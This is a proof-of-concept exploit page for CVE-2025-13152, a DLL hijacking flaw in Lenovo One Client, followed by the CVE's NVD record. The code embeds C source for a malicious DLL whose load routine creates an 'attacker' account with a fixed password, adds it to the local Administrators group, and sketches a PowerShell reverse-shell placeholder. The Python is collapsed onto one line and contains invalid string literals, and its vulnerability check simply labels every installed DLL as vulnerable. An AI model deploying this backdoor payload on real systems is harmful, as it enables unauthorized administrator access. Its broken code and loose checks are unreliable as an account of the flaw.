CVE-2025-13152

# CVE-2025-13152 PoC - Lenovo One Client DLL Hijacking # This PoC demonstrates the DLL hijacking vulnerability concept # Note: For authorized security testing only import os import ctypes import sys def create_malicious_dll(): """ Generate malicious DLL that creates a privileged reverse shell This DLL will be loaded by Lenovo One Client instead of the legitimate one """ dll_code = ''' #include <windows.h> #include <stdio.h> BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Create admin user for privilege escalation // This is executed with Lenovo One Client's elevated privileges system("net user attacker P@ssw0rd123 /add"); system("net localgroup Administrators attacker /add"); // Alternative: Create reverse shell payload // system("powershell -e <encoded_payload>") // Log exploitation attempt FILE *log = fopen("C:\\\\Temp\\\\lenovo_exploit.log", "a"); if (log) { fprintf(log, "[+] DLL hijacked successfully at %s\n", __TIME__); fclose(log); } break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } ''' return dll_code def check_vulnerability(): """ Check if Lenovo One Client is installed and identify vulnerable DLL paths """ common_paths = [ r"C:\Program Files\Lenovo\One Client\", r"C:\Program Files (x86)\Lenovo\One Client\", os.path.expanduser(r"~\AppData\Local\Lenovo\One Client\") ] vulnerable_dlls = [] for path in common_paths: if os.path.exists(path): print(f"[+] Found Lenovo One Client installation at: {path}") # Check for DLLs that might be vulnerable to hijacking for dll in os.listdir(path): if dll.endswith('.dll'): vulnerable_dlls.append(os.path.join(path, dll)) return vulnerable_dlls def place_malicious_dll(target_path, dll_name="vulnerable.dll"): """ Place malicious DLL in the target directory WARNING: This is for authorized testing only """ malicious_path = os.path.join(target_path, dll_name) print(f"[*] Target DLL path: {malicious_path}") print("[*] In real attack, malicious DLL would be placed here") # For demonstration, create a benign marker file marker_file = malicious_path + ".marker" with open(marker_file, 'w') as f: f.write("DLL hijacking PoC marker - authorized testing only") return True if __name__ == "__main__": print("=" * 60) print("CVE-2025-13152 - Lenovo One Client DLL Hijacking PoC") print("For authorized security testing only") print("=" * 60) # Step 1: Identify vulnerable installation print("\n[1] Scanning for Lenovo One Client installation...") dlls = check_vulnerability() if not dlls: print("[-] Lenovo One Client not found or no accessible DLLs") sys.exit(0) print(f"[+] Found {len(dlls)} potential target DLLs") # Step 2: Generate malicious DLL code print("\n[2] Generating malicious DLL payload...") dll_code = create_malicious_dll() print("[+] Malicious DLL template generated") # Step 3: Place malicious DLL (for authorized testing) print("\n[3] Identifying DLL search order vulnerability...") for dll in dlls[:1]: # Test first found DLL target_dir = os.path.dirname(dll) dll_name = os.path.basename(dll) place_malicious_dll(target_dir, dll_name) print("\n[*] Note: Actual exploitation requires compiling the malicious DLL") print("[*] and placing it where Lenovo One Client will load it")

{"cve": {"id": "CVE-2025-13152", "sourceIdentifier": "[email protected]", "published": "2025-12-10T15:15:56.410", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "A potential DLL hijacking vulnerability was reported in Lenovo One Client during an internal security assessment that could allow a local authenticated user to execute code with elevated privileges."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "references": [{"url": "https://iknow.lenovo.com.cn/detail/435007", "source": "[email protected]"}, {"url": "https://one.lenovo.com/", "source": "[email protected]"}]}}